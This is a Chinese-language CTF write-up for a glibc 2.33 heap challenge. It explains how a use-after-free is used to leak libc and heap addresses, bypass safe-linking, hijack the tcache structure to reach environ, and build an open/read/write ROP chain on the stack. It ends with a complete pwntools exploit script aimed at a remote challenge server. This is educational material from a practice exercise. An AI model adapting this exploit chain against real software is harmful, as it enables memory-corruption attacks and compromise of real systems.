最近想练一下高版本的libc的堆,证明我不是过于依赖hook函数(bs)。
libc 2.33 保护全开,沙箱禁用execve


很经典的堆,

有个uaf

只能创建0x100的堆

思路就很清晰了,uaf泄露libc地址和堆地址,劫持tcache_entry结构体malloc到environ得到栈地址,对edit函数打orw
泄露地址,但是libc地址最后以1字节是\x00,edit后可以泄露
add()#0
add()#1
add()#2
for x in range(7):
add()
for x in range(7):
free(x+3)
free(1)
edit(1,0x1,b"a")
show(1)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1E0C61
edit(1,0x1,b"\x00")
print(hex(base))
show(3)
heap=(u64(p.recvuntil(b"\x05")[-6:].ljust(8,b"\x00"))-0xa)<<4
print(hex(heap))
2.32后的libc对fd指针有异或加密,加密的方法是(当前地址>>3)^目标地址,修改fd指针指向tcache结构体,将0x110的tcachebins改成envrion地址,2.3以后的count是两个字节,用p16处理
key=heap>>0xc
print(hex(key))
environ=libc.sym["environ"]+base
fd=(heap+0x10)^key
edit(9,0x8,p64(fd))
add()
add()
edit(11,0x100,p16(0)*0xf+p16(1)+p16(0)*(0x30)+p64(0)*0xf+p64(environ))
泄露栈地址
add()
show(12)
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x140
print(hex(stack))
修改返回地址为shellcode
edit(11,0x100,p16(0)*0xf+p16(1)+p16(0)*(0x30)+p64(0)*0xf+p64(stack-0x28))
add()#13
edit(11,0x100,p16(0)*0xf+p16(0)+p16(0)*(0x30)+p64(0)*0xf+p64(0))
add()
edit(14,0x5,b"/flag\x00")
flag=heap+0x3B0
di=base+0x28a55
si=base+0x2a4cf
dx=base+0xc7f32
orw=b"a"*8
orw+=p64(di)+p64(flag)+p64(si)+p64(2)+p64(base+libc.sym['open'])
orw+=p64(di)+p64(3)+p64(si)+p64(heap+0x200)+p64(dx)+p64(0x50)+p64(base+libc.sym["read"])
orw+=p64(di)+p64(1)+p64(si)+p64(heap+0x200)+p64(dx)+p64(0x50)+p64(base+libc.sym["write"])
edit(13,0x100,orw)
这种题最难的地方就在调试和计算偏移,思路是好想的,但是调试半天才发现修改的地址错了,应该是修改edit里的写函数的返回地址,给我搞半天。。。

完整exp
import builtins
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
debug=0
if debug:
p=process(filename)
gdb.attach(p,"b *$rebase(0x12EE)")
else:
p=remote("node4.anna.nssctf.cn",28806)
#libc=ELF("./libc-2.23.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Choice: "
libc=ELF("./libc.so.6")
def add():
p.sendlineafter(select, b"1")
#p.sendlineafter(b"Index: ", str(index).encode())
# p.sendlineafter(b"Inputs your lenth>", str(size).encode())
# p.sendlineafter(b"Please input your things>", content)
def edit(index,size,content):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Idx: ", str(index).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", content)
p.send(content)
def free(index):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Idx: ", str(index).encode())
def show(index):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Idx: ", str(index).encode())
add()#0
add()#1
add()#2
for x in range(7):
add()
for x in range(7):
free(x+3)
free(1)
edit(1,0x1,b"a")
show(1)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1E0C61
edit(1,0x1,b"\x00")
print(hex(base))
show(3)
heap=(u64(p.recvuntil(b"\x05")[-6:].ljust(8,b"\x00"))-0xa)<<4
print(hex(heap))
key=heap>>0xc
print(hex(key))
environ=libc.sym["environ"]+base
fd=(heap+0x10)^key
edit(9,0x8,p64(fd))
add()
add()
edit(11,0x100,p16(0)*0xf+p16(1)+p16(0)*(0x30)+p64(0)*0xf+p64(environ))
add()
show(12)
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x140
print(hex(stack))
edit(11,0x100,p16(0)*0xf+p16(1)+p16(0)*(0x30)+p64(0)*0xf+p64(stack-0x28))
add()#13
edit(11,0x100,p16(0)*0xf+p16(0)+p16(0)*(0x30)+p64(0)*0xf+p64(0))
add()
edit(14,0x5,b"/flag\x00")
flag=heap+0x3B0
di=base+0x28a55
si=base+0x2a4cf
dx=base+0xc7f32
orw=b"a"*8
orw+=p64(di)+p64(flag)+p64(si)+p64(2)+p64(base+libc.sym['open'])
orw+=p64(di)+p64(3)+p64(si)+p64(heap+0x200)+p64(dx)+p64(0x50)+p64(base+libc.sym["read"])
orw+=p64(di)+p64(1)+p64(si)+p64(heap+0x200)+p64(dx)+p64(0x50)+p64(base+libc.sym["write"])
edit(13,0x100,orw)
#gdb.attach(p)
p.interactive()
Comments NOTHING